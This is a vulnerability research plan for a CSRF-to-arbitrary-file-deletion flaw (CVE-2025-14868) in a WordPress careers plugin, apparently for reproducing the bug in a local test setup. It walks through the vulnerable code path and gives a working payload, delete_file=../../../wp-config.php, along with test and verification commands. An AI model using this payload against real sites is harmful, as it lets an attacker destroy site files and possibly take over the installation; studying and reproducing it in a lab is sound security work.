Career Section <= 1.6 - Cross-Site Request Forgery to Arbitrary File Deletion

This research plan outlines the exploitation strategy for CVE-2025-14868, a Path Traversal and Arbitrary File Deletion vulnerability in the "Career Section" WordPress plugin.

1. Vulnerability Summary

The appform_options_page_html function in include/top_level_menu.php fails to validate user-supplied input in the delete_file POST parameter and lacks CSRF protection (no nonce validation). The plugin concatenates this parameter to a pre-defined upload directory and passes it to wp_delete_file(). Because sanitize_text_field() does not strip path traversal sequences (../), an attacker can delete arbitrary files on the server by tricking an administrator into submitting a forged request.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/admin.php?page=appform
• Vulnerable Parameter: delete_file (POST)
• Trigger Parameter: delete_id (POST) must be set to enter the vulnerable code block.
• Authentication: Requires a session with manage_options capability (typically Administrator). This is exploited via CSRF.
• Vector: Path Traversal (../) leading to Arbitrary File Deletion.

3. Code Flow

1. Entry Point: The administrator visits wp-admin/admin.php?page=appform or is forced to submit a POST request to it via CSRF.
2. Hook: The csaf_options_page function (in include/top_level_menu.php) registers the appform_options_page_html callback for the appform submenu page.
3. Vulnerable Logic: Inside appform_options_page_html():
   • The function checks if isset( $_POST['delete_id'] ).
   • It initializes the WordPress filesystem: WP_Filesystem().
   • It defines the target directory: $target_dir_location = $wp_filesystem->wp_content_dir() . 'uploads/cs_applicant_submission_files/';.
   • It captures the filename: $file_path = $target_dir_location . sanitize_text_field($_POST['delete_file']);.
   • It executes the deletion: wp_delete_file( $file_path );.
4. Sink: wp_delete_file() (a WordPress wrapper for unlink()).

4. Nonce Acquisition Strategy

This vulnerability is specifically caused by the absence of nonce validation.

• Reviewing include/top_level_menu.php, the "Delete" form used for submissions does not include a nonce field.
• The only nonce present in the file is wp_nonce_field('update-options'), which is associated with a different form (Save Settings) that submits to options.php.
• The vulnerable code block processing delete_id and delete_file does not call check_admin_referer() or wp_verify_nonce().
• Conclusion: No nonce is required to exploit this endpoint.

5. Exploitation Strategy

The goal is to delete a sensitive file (e.g., wp-config.php) or a test file in the WordPress root.

Step-by-Step Plan:

1. Identify Path: The target directory is wp-content/uploads/cs_applicant_submission_files/.
2. Calculate Traversal: To reach the WordPress root (where wp-config.php resides) from the target directory:
   • .. -> wp-content/uploads/
   • ../.. -> wp-content/
   • ../../../ -> WordPress root directory.
3. Construct Payload: delete_file=../../../wp-config.php.
4. Formulate Request:
   • Method: POST
   • URL: http://localhost:8080/wp-admin/admin.php?page=appform
   • Body: delete_id=1&delete_file=../../../wp-config.php (Note: delete_id doesn't need to exist in the database; the file deletion logic occurs independently of whether the DB delete succeeded).

6. Test Data Setup

1. Ensure the "Career Section" plugin is installed and active.
2. Create a canary file in the WordPress root to safely test deletion:
   wp eval "file_put_contents(ABSPATH . 'pwn.txt', 'test');"
3. Ensure an administrator user exists (standard in test environments).

7. Expected Results

1. The HTTP request will return a 200 OK response containing the message: "Application permanently deleted." (added via add_settings_error in the code).
2. The file pwn.txt (or wp-config.php) will be removed from the server.

8. Verification Steps

1. Verify via CLI:
   wp eval "echo file_exists(ABSPATH . 'pwn.txt') ? 'Exists' : 'Deleted';"
2. Check the WordPress database table to see if the row with id=1 was attempted to be deleted (optional):
   wp db query "SELECT * FROM wp_cs_applicant_submissions WHERE id=1"

9. Alternative Approaches

• Targeting Other Files: If wp-config.php is protected by file permissions, attempt to delete index.php or a file within wp-content/plugins/career-section/index.php to prove arbitrary deletion.
• Traversal Depth: If the environment uses a non-standard WP_CONTENT_DIR, the traversal depth might vary. Test ../../../../wp-config.php as a backup.
• Database Entry: While not strictly required by the code logic, some environments might fail if $wpdb->delete returns an error. If the exploit fails, create a dummy entry first:
  wp db query "INSERT INTO wp_cs_applicant_submissions (id, first_name, last_name, cv) VALUES (1, 'Test', 'User', 'test.pdf')"